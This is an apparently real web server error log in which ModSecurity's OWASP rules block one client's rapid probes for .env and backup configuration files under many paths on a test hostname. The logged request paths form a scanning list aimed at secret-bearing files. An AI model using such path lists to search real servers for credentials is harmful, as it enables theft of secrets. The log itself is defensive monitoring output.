[Sat Jul 26 14:23:45.339872 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nginx/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9GAAAAAM&quot;]
[Sat Jul 26 14:23:45.340113 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9GAAAAAM&quot;]
[Sat Jul 26 14:23:45.340282 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9GAAAAAM&quot;]
[Sat Jul 26 14:23:45.362689 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9GQAAAAM&quot;]
[Sat Jul 26 14:23:45.362944 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9GQAAAAM&quot;]
[Sat Jul 26 14:23:45.363192 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9GQAAAAM&quot;]
[Sat Jul 26 14:23:45.385065 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9GgAAAAM&quot;]
[Sat Jul 26 14:23:45.385301 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9GgAAAAM&quot;]
[Sat Jul 26 14:23:45.385513 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9GgAAAAM&quot;]
[Sat Jul 26 14:23:45.428471 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /xampp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9GwAAAAM&quot;]
[Sat Jul 26 14:23:45.428824 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9GwAAAAM&quot;]
[Sat Jul 26 14:23:45.429074 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9GwAAAAM&quot;]
[Sat Jul 26 14:23:45.459513 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /node_modules/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9HAAAAAM&quot;]
[Sat Jul 26 14:23:45.459779 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9HAAAAAM&quot;]
[Sat Jul 26 14:23:45.459958 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9HAAAAAM&quot;]
[Sat Jul 26 14:23:45.497006 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9HQAAAAM&quot;]
[Sat Jul 26 14:23:45.497158 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9HQAAAAM&quot;]
[Sat Jul 26 14:23:45.497395 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9HQAAAAM&quot;]
[Sat Jul 26 14:23:45.497609 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9HQAAAAM&quot;]
[Sat Jul 26 14:23:45.611189 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /website/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9IQAAAAM&quot;]
[Sat Jul 26 14:23:45.611415 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9IQAAAAM&quot;]
[Sat Jul 26 14:23:45.611593 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9IQAAAAM&quot;]
[Sat Jul 26 14:23:45.633983 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /development/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9IgAAAAM&quot;]
[Sat Jul 26 14:23:45.634245 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9IgAAAAM&quot;]
[Sat Jul 26 14:23:45.634518 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9IgAAAAM&quot;]
[Sat Jul 26 14:23:45.656299 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/shared/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/config/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9IwAAAAM&quot;]
[Sat Jul 26 14:23:45.656523 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/config/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9IwAAAAM&quot;]
[Sat Jul 26 14:23:45.656684 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/config/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9IwAAAAM&quot;]
[Sat Jul 26 14:23:45.678540 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/shared/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9JAAAAAM&quot;]
[Sat Jul 26 14:23:45.678790 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9JAAAAAM&quot;]
[Sat Jul 26 14:23:45.678961 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9JAAAAAM&quot;]
[Sat Jul 26 14:23:45.723475 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /node/.env_example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node/.env_example&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9JgAAAAM&quot;]
